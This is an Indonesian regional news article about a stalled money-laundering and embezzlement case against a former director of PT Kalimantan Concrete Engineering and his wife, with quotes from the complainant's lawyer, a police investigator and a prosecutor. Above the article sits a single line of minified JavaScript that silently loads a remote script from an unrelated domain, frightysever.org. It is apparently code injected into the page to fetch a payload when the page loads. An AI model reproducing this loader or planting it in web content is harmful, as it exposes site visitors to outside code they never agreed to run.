(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Berkas Perkara Empat Kali Bolak-balik, Kasus TPPU PT KCE Mandek


KANALKALIMANTAN.COM, BANJARBARU – Pengusutan kasus dugaan Tindak Pidana Pencucian Uang (TPPU) dan penggelapan dalam jabatan di PT Kalimantan Concrete Engineering (KCE) masih mandek.

Lantaran terhambat alat bukti sertifikat tanah yang diagunkan ke Bank CIMB Niaga.

Hingga kini, alat bukti penting itu belum bisa dihadirkan melengkapi berkas perkara, hingga kasusnya masih berproses di Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalsel.

Sebelumnya penyidik Ditreskrimsus Polda Kalsel telah menetapkan dua tersangka dalam kasus ini.

Yakni, ARP (69) mantan Direktur Utama PT KCE dan istrinya IY (48) mantan komisaris perusahaan yang bergerak di bidang usaha jasa teknik sipil penyediaan tiang pancang dan beton prestress berbasis di Landasan Ulin, Kota Banjarbaru itu.

Baca juga: Kontes Kambing di Ibu Kota, Ini Kata Wali Kota Aditya

Keduanya dilaporkan mantan Komisaris PT KCE Yusti Yudiawati dengan kerugian lebih dari Rp 17 miliar.

Kuasa hukum pelapor, Muhammad Rusdi mengatakan, awal mulanya perusahaan ini berdiri di Kabupaten Tanah Bumbu, kemudian pindah ke Kota Banjarbaru pada beberapa tahun yang lalu.

Sebelumnya bekas direktur beserta istrinya itu mendirikan perusahaan yang sama yaitu beton pra cetak atau paku bumi. Mereka diduga membeli tanah untuk perusahaan serupa menggunakan uang dari PT KCE.

“Perkara dugaan TPPU sebenarnya sudah tahapan P-21 di Polda Kalsel, tapi ini totalnya sudah empat kali berkas perkara bolak-balik dikirim penyidik Ditreskrimsus Polda Kalsel juga ke penuntut umum Kejati Kalsel. Petunjuk jaksa minta sertifikat asli tanah yang dibeli uang PT KCE,” beber Muhammad Rusdi.

“Namun hingga sekarang dari pihak penyidik Ditreskrimsus Polda Kalsel itu masih belum di penuhi dengan alasan sertipikat telah diagunkan ke bank. Petunjuk jaksa penyidik mempunyai kewenangan untuk melakukan penggeledahan, tapi tidak dilakukan,” sambungnya.

Disisi lain Rusdi juga menyayangkan objek perusahaan yang masih belum dilakukan police line oleh pihak kepolisian.

Baca juga :PUPR Kalsel Laksanakan Sosialisasi Pengusulan DAK Air Minum dan Sanitasi

“Sampai sekarang masih belum dilakukan police line, kami mengharapkan itu,” ucap Rusdi didampingi pelapor Yusti Yudiawati, Rabu (24/5/2023) siang.

Dihubungi terpisah penyidik Ditreskrimsus Polda Kalsel Ipda Erik Saputra Ante membenarkan sekarang pihaknya masih berproses telah mengusut kasus dugaan TPPU yang melibatkan eks petinggi PT KCE itu.

“Saat ini, proses hukumnya masih berjalan. Kami baru saja menerima petunjuk dari jaksa peneliti dan penuntut umum guna melengkapi berkas perkara sebelum dilimpahkan ke pengadilan,” kata Ipda Erik Saputra Ante.

Menurutnya mengenai alat bukti berupa sertipikat tanah yang jadi agunan di bank swasta belum bisa dihadirkan untuk melengkapi berkas perkara yang ada.

“Untuk lebih lanjut, silakan konfirmasi ke Direktur Reskrimsus Polda Kalsel. Sebab, kami baru saja menerima petunjuk dari jaksa,” ucap Ipda Erik Saputra Ante.

Sementara itu jaksa peneliti Kejati Kalsel Herry Setiawan mengakui berkas pekara dugaan kasus TPPU PT KCE masih belum dilengkapi oleh penyidik Ditreskrimsus Polda Kalsel.

“Makanya, kami kembalikan ke penyidik kepolisian. Kami minta agar sertifikat tanah yang jadi pokok perkara dalam dugaan TPPU bisa dihadirkan bukti aslinya, bukan hanya fotokopi,” imbuh Herry Setiawan. (Kanalkalimantan.com/rdy)

Reporter: rdy
Editor: bie


Al Ghifari

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

2 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

2 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

3 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

7 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

9 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

9 jam ago

This website uses cookies.